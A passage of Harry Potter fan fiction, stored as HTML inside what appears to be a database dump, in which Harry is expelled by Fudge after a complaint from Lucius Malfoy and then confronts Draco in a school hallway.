strawberry blond hair\nand light blue-green eyes. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh\nmy&#8230;&#8221; she gasped, and her face went white with fear.&nbsp; By now, the entire\nhallway had stopped movement, and their eyes were glued to the little\naltercation.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Are\nyou okay?&#8221; Harry asked.&nbsp; The little girl scrambled up and tried to pick up\nher books that she&#8217;d dropped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m&#8230;I&#8217;m\nsorry Mr. Potter; I didn&#8217;t mean to be so clumsy,&#8221; she almost cried.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Here&#8230;&#8221;\nHarry knelt down and put a hand on her shoulder, &#8220;&#8230;let me help you.&#8221; He picked\nup the girl&#8217;s books and handed them to her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thank\nyou, Mr. Potter.&#8221; She still had her face down and put her things back in her\nbag.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Just\ncall me Harry, and may I ask who you are?&#8221; he asked with a warm smile.&nbsp;\nThe little girl stopped shaking and lifted her head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8230;I&#8217;m\nCarissa&#8230;Carissa Martin, but my friends call me Carrie.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re\na first year aren&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Y-yes,\nI&#8217;m the first member of my family to come to Hogwarts.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well\nthen, I&#8217;m sure your parents are very proud,&#8221; Harry said with a smile of\nadmiration.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thank\nyou, Mr. Potter&#8230;um&#8230;I mean, Harry.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Wait\na minute&#8230;Carrie&#8230;why does that sound familiar.&nbsp; Do you know Ginny Weasley?&#8221;\nAt the mention of Ron&#8217;s sister&#8217;s name, the young girl&#8217;s face lit up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ginny,\nyes, I do.&nbsp; She&#8217;s my tutor in Transfiguration; I&#8217;m not very good at it,&#8221;\nCarrie answered and turned slightly pink.&nbsp; Harry just grinned.&nbsp; He\nremembered Ginny mentioning a younger student that she&#8217;d been helping get\nthrough her first year.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;ll\ntell you a secret, Carrie; I wasn&#8217;t very good at it either.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Really!&#8221;\nA smile appeared on her face, and Harry chuckled softly.&nbsp; He noticed the\nemblem on her robe.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So,\nyou&#8217;re a Gryffindor too, huh?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes,\nI felt really nervous when Professor McGonagall put that dirty, old hat on my\nhead, but it went quickly so I was okay.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yeah,\nI still remember my sorting ceremony; everyone was staring at me, almost\nbegging for me to be in their house.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,\nyou are the famous Harry Potter,&#8221; Carrie piped up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nno different than anybody else; I&#8217;m just as normal as you or any other student\nat Hogwarts.&nbsp; To be honest, I wish that I wasn&#8217;t famous; it&#8217;s more of a\ncurse than a blessing.&#8221; Harry noticed that girl was intrigued by his words, but\nhe needed to see Dumbledore so he had to cut the conversation short.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So\nwhich class do you have now?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Elementary\nWizardry with Professor Flitwick.&#8221; Carrie finished repacking her bag, and Harry\nheld out his hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;ll\nsee you around, okay?&nbsp; If you need help, just come find me.&#8221; Her eyes\nshone brightly, and she smiled cheekily.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thank\nyou!&#8221; she nearly shouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Bye\nCarrie, it was nice to meet you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nto, Harry, bye.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nwatched her disappear down the hallway and finally noticed that everyone was\nstaring at him in shock.&nbsp; He snapped his fingers and like an alarm clock,\neveryone snapped out of the trance.&nbsp; Harry couldn&#8217;t help it and\nchuckled.&nbsp; He turned around and headed down towards McGonagall&#8217;s room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nsat in a plush chair in front of Dumbledore&#8217;s desk, anxiously waiting for the\nheadmaster to arrive.&nbsp; He could hear the gargoyle slide out of its spot,\nand voices coming up the stairs.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Where\nis he?&#8221; one voice almost demanded.&nbsp; Harry snapped around; he knew that\nvoice!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Professor\nDumbledore entered his office; his glasses hanging down the front of his nose\nas usual.&nbsp; What made Harry surprised were the two people with him.&nbsp;\nOne, he recognized as Cornelius Fudge, the minister of magic, and the second\nwas none other than Lucius Malfoy himself.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You!&#8221;\nLucius nearly hissed and glared at Harry.&nbsp; The young man glared right\nback. &#8220;How dare you attack my son?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;He\ndeserved everything he got!&#8221; Harry fired back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;All\nright, that&#8217;s enough you two!&#8221; Fudge ordered.&nbsp; Lucius Malfoy grudgingly\ncomplied, but he still glared daggers at Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nI asked to see you today to discuss what happened yesterday in the Great\nHall.&nbsp; You should not have done that.&#8221; Dumbledore&#8217;s eyes were quite\nsolemn, and his voice was stern.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;But\nprofessor, I couldn&#8217;t just stand by and listen to him degrade Hermione.&nbsp; I\nwon&#8217;t let someone talk about her like she&#8217;s a tramp.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That\ndoesn&#8217;t matter, Harry, you cannot take matters into your own hands,&#8221; Fudge\nstated. &#8220;If you have a problem with a fellow student, you should have told your\nhouse professor.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sir,\nwith all due respect, that wouldn&#8217;t have done a thing.&nbsp; Malfoy knows that\nas much as I do.&nbsp; Nobody would disbelieve him; they&#8217;re too scared of\nhim.&nbsp; I&#8217;ve spent six years of my life listening to his bullshit, watching\nhim put people down, and using fear as a way to get what he wants.&nbsp; I\ndon&#8217;t care if it wasn&#8217;t convenient for everybody, but someone had put him in\nhis place.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Dumbledore\ntried hard not to grin; he was almost laughing on the inside.&nbsp; Harry had\ngrown into a fine man.&nbsp; He stared down one of the most influential wizards\nand the minister of magic without a blink.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You,\nboy, are nothing more than a trumped up heroine.&nbsp; Your parents weren&#8217;t\neven that good of wizards; no wonder you associate with Mugbloods,&#8221; Lucius\nsneered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry!&#8221;\nDumbledore said firmly, noting the fire burning in the young man&#8217;s eyes.&nbsp;\nLucius Malfoy just laughed sadistically.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\nstop him, Albus, let the boy speak.&nbsp; He can&#8217;t dig his grave any deeper\nanyway.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nwarn you, Mr. Potter, what you say will effect the consequences of your actions,&#8221;\nFudge stated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Minister\nFudge, if I may, I want to know why you are stuck on the &#8216;pure-blood&#8217; issue?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Excuse\nme?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sir,\nI want to know why you and the Ministry refuse to accept the fact that not all\nwizards have to come from wizarding families.&nbsp; Why can&#8217;t you accept those\nthat show they have gifts even if their parents are muggles?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Because\nboy, the only true wizards are those who come from pure-blood families!&#8221; Lucius\nMalfoy nearly shouted.&nbsp; Harry did not back down.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;If\nthat is true, Mr. Malfoy, then you are not a true wizard &#8211; neither am I, or\nMinister, or any wizard or witch anywhere.&nbsp; Even your family, Mr. Malfoy\nbegan with a muggle who discovered they had magical powers.&nbsp; Now without\nthat patriarch, your entire line would have been non-existent, isn&#8217;t that\nright?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Lucius\nMalfoy was speechless; for once, he didn&#8217;t know what say.&nbsp; Even Minister\nFudge was quite astounded with Harry&#8217;s words.&nbsp; Again, Dumbledore\nsuppressed a grin from popping up on his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Enough\nof this babbling, Potter, we&#8217;re not here to discuss history.&nbsp; We&#8217;ve come\nhere to see that you are punished for what you did!&#8221; Malfoy said angrily.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Punished\nfor what?&nbsp; Defending someone that I care about?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No,\nHarry, for using magic in a threatening way against another student.&nbsp; It\nis one of the oldest rules at Hogwarts; no student may use magic in a\nlife-threatening way against another student.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nwasn&#8217;t going to kill him,&#8221; Harry said in his defense.&nbsp; Fudge shook his\nhead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It\ndoes not matter; you still used powerful magic against a fellow Hogwarts\nstudent.&nbsp; Furthermore, magic that you are not even allowed to use\nyet.&nbsp; I&#8217;m surprised that you could even do such a thing,&#8221; Fudge stated\nlooking at Dumbledore out of the corner of his eye.&nbsp; He got a very solemn\nlook on his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;In\nlight of recent events and your history of breaking the ministry&#8217;s rules of\nmagic, we have no choice but to expel you from Hogwarts &#8211; effective\nimmediately.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nwas dumbfounded, and Dumbledore quickly stood up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Cornelius,\nisn&#8217;t that a bit much?&nbsp; Everything that Harry has done in the past has\nturned out to be the best move.&nbsp; He acts according to his instincts.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nsorry, Albus, but rules are rules.&nbsp; Harry Potter, you will have three days\nto leave Hogwarts.&nbsp; If you have not left by then, you will be arrested and\ndetained.&#8221; Fudge almost looked like he hated having the ability to talk at that\nmoment.&nbsp; Lucius, on the other hand, was smiling quite widely.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You\nsee, boy, it doesn&#8217;t matter what you thought was right; you&#8217;re gone!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\ndid not respond but merely looked down at the carpet.&nbsp; He&#8230;he was expelled&#8230;\nfrom Hogwarts&#8230;the only home that he ever had.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nsorry, Harry, I know that this is hard to take, but the rules must be upheld,&#8221;\nFudge stated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No\nMinister, I&#8230;I understand,&#8221; Harry replied. &#8220;May I be excused Professor?&#8221;\nDumbledore&#8217;s eyes were filled with sadness, and he merely nodded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n\n\n\n\n\n'),
	(162, 6, '\n\n\n\n<p class="MsoBodyText">Disclaimer:&nbsp; I do\nnot own the characters of Harry Potter.&nbsp;\nThey are the property of&nbsp;&nbsp; J. K.\nRowling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nPotter had never been so miserable in his whole life.&nbsp; He sat through his\nclasses &#8211; one after another, thinking about how it would be the last time he\nwas there.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">What\nhe was dreading the most was having to tell his friends&#8230;Ron and&#8230;dear God,\nHermione.&nbsp; What was he supposed to say to her?&nbsp; Finally, he decided;\nhe would tell them both this afternoon &#8211; in private.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\ntrio was heading down to Snape&#8217;s dungeon for Potions class when Harry heard a\nsadistic laugh.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\ntold you, Potter.&nbsp; See what happens when you mess with me?&#8221; Malfoy\nsmirked.&nbsp; The students in the hallway immediately stopped in their places.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Shut-up\nMalfoy, I&#8217;m not in the mood for bad jokes!&#8221; Ron answered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Stay\nout of this, Weasley, or you&#8217;ll be expelled just like Potter!&#8221; The entire\nhallway let out a gasp.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nare you talking about?&#8221; Hermione demanded.&nbsp; Malfoy&#8217;s smile only widened.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s\nquite simple, Mugblood, your &#8216;legendary&#8217; boyfriend was expelled this morning &#8211;\nby none other than Minister Fudge himself.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione\ncouldn&#8217;t believe it.&nbsp; No&#8230;no, it couldn&#8217;t be true.&nbsp; She looked at\nHarry, begging him to tell her that it was a lie, but his eyes gave her the\nanswer.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nhe&#8217;s kidding right!&#8221; Ron said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No.&#8221;\nIt was simple word, but it made everybody within a hundred feet gulp.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry!&#8221;\nHermione gasped and looked into his eyes. &#8220;Why?&nbsp; Why were you expelled?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It&#8217;s\nsimple, Mugblood, he messed with my family, and anyone who does that is eliminated,&#8221;\nMalfoy said proudly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re\nwrong!&#8221; Harry shouted. &#8220;I was expelled for two reasons.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh\nreally, well tell us Potter, what are they?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;The\nfirst is because I stood up for someone that I cared about, and the second&#8230;&#8221;\nHarry moved Hermione away from him and walked right up to Malfoy&#8217;s face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;&#8230;The\nsecond reason is because you did exactly what I said you would Draco.&nbsp; You\nwere unhappy so you ran to daddy, just like the spoiled brat that you are!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why\nyou&#8230;&#8221; Malfoy grinded his teeth together.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nknew that you would Malfoy; you can&#8217;t do anything without daddy watching out\nfor you.&nbsp; What&#8217;d you do&#8230;send him a message right after you got back to\nyour room?&nbsp; Or was that after you spent an hour crying.&#8221; People were snickering\nall around, and Malfoy was ready to explode.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re\ngoing to pay for this, Potter.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh\nreally, Draco, well like I said, try me.&nbsp; But think about this, since I\nalready know that I&#8217;m being expelled, that gives me free reign to do anything I\nwant&#8230;to you.&#8221; His green eyes burned into the blond young man&#8217;s face, and you\ncould hear Malfoy gulp.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" 